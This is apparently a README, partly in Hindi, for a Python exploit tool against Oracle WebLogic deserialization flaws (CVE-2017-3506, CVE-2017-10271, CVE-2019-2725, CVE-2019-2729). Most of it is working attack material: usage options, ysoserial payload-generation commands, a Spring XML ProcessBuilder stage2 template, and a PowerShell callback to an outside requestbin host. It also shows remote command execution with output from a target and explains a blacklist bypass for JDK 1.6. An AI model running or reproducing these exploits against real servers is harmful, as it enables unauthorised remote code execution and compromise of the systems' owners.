
WebLogic असुरक्षित डिसीरियलाइज़ेशन - CVE-2019-2725 पेलोड बिल्डर और एक्सप्लॉइट
WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 पेलोड निर्माता और शोषण
$ python3 weblogic_exploit.py -h
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
[-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
target
positional arguments:
target Target Server
optional arguments:
-h, --help show this help message and exit
-pl PAYLOAD, --payload PAYLOAD Use one of the available payloads: (default: fs_xml_app_ctx)
- process_builder (CMD - all versions)
- unit_of_work_change_set (SERIAL - 10.x versions)
- event_data (CMD - 12.x versions)
- fs_xml_app_ctx (URL - all versions).
-ep ENDPOINT, --endpoint ENDPOINT Use one of the configured endpoints: (default: automatic)
- wls_wsat (CMD output)
- _async (Blind Exec).
-c CMD, --cmd CMD Command to execute. (default: whoami)
-j, --jdk6 Enable CVE-2019-2729 (bypass for 'class'). DISCLAIMER: Works ONLY in JDK 1.6!
-u URL, --url URL Url to fetch stage2. Used with 'URL' payloads. (default: None)
-y YSOSERIAL, --ysoserial YSOSERIAL Custom YSOSERIAL payload file. Used with 'SERIAL' payloads. (default: None)
-tr TERMINAL, --terminal TERMINAL Use one of the available terminals: cmd, bash, powershell, none (default: bash)
-px PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default: None)
This script will generate a valid WebLogic SOAP payload to exploit different CVE's on this web server.
SERIAL पेलोड के साथ, आप एक cmd (गतिशील रूप से ysoserial पेलोड उत्पन्न करने के लिए) पास कर सकते हैं या मैन्युअल रूप से एक ysoserial पेलोड उत्पन्न कर सकते हैं और इसे -y तर्क का उपयोग करके स्क्रिप्ट को दे सकते हैं।
गतिशील रूप से ysoserial पेलोड उत्पन्न करने के लिए, आपको https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar डाउनलोड करना चाहिए और इसे इस स्क्रिप्ट की समान निर्देशिका में रखना चाहिए।
unit_of_work_change_set पेलोड केवल weblogic 10.x संस्करणों पर काम करने के लिए जाना जाता है। उदाहरण:
pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] YSOSERIAL payload size: 3182
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:
HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:39:52 GMT
Content-Length: 0
pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] YSOSERIAL payload size: 3027
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:
HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:46:33 GMT
Content-Length: 0
URL पेलोड (FileSystemXmlApplicationContext) के साथ, आप अपना स्वयं का XML होस्ट कर सकते हैं और इसे -u तर्क के साथ पास कर सकते हैं या शोषण को आपके लिए एक अस्थायी पेलोड फ़ाइल उत्पन्न करने दें और इसे https://file.io पर होस्ट करें! यह पेलोड शोषण चरण के दौरान उत्पन्न होगा और सर्वर द्वारा इसे दूरस्थ रूप से लाने के बाद हटा दिया जाएगा। यदि आप अपना स्वयं का पेलोड होस्ट करना चाहते हैं, तो कृपया इसके लिए निम्नलिखित टेम्पलेट का उपयोग करें:
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
</list>
</constructor-arg>
</bean>
</beans>
यह पेलोड weblogic के सभी संस्करणों पर काम करने के लिए जाना जाता है। इस पेलोड का नुकसान यह है कि इसे stage2 पेलोड लाने के लिए लक्ष्य सर्वर पर egress की आवश्यकता होती है। इस पेलोड का उपयोग करने का एक उदाहरण नीचे वर्णित है:
$ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[-] No stage2 URL provided... Storing it now...
[+] Stage2 payload stored with success at: https://file.io/IbCIbg
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:
HTTP/1.1 202
Connection: close
Date: Tue, 27 Aug 2019 07:42:24 GMT
Content-Length: 0
और अंतिम लेकिन महत्वपूर्ण, process_builder पेलोड सबसे सामान्य शोषण पेलोड (metasploit मॉड्यूल) है जो weblogic संस्करणों पर काम करता है जो class= ब्लैकलिस्ट से पैच नहीं किए गए हैं। इस पेलोड को अनुरोध के प्रतिक्रिया निकाय में कमांड आउटपुट प्रिंट करने के लिए अनुकूलित किया गया था। उपयोग का उदाहरण:
pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:
HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 12:30:26 GMT
Transfer-Encoding: chunked
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
event_data पेलोड के लिए प्रतिक्रिया निकाय में कमांड आउटपुट के साथ समर्थन जोड़ा गया। उपयोग का उदाहरण:
$ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] Weblogic SOAP payload built with success...
[+] Firing exploit now...
[+] Bomb delivered... Server responded:
HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 07:37:26 GMT
Transfer-Encoding: chunked
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
क्रेडिट: इस GitHub में प्रकाशित पेलोड के भाग का उपयोग प्रतिक्रिया निकाय में कमांड परिणाम प्रिंट करने के लिए किया गया (https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py)। इसे साझा करने के लिए धन्यवाद @lufeirider।
CVE-2019-2729 के लिए समर्थन जोड़ा गया। यह <class> </class> को <array method="forName"> </array> में बदलने के लिए एक बाईपास है। यह बाईपास केवल JDK 1.6 में काम करता है क्योंकि इस JDK संस्करण में XMLDecoder के माध्यम से XML डेटा को पार्स करने के तरीके में अंतर है।
कमांड तर्क -j/--jdk6 को शोषण स्क्रिप्ट में जोड़ा गया।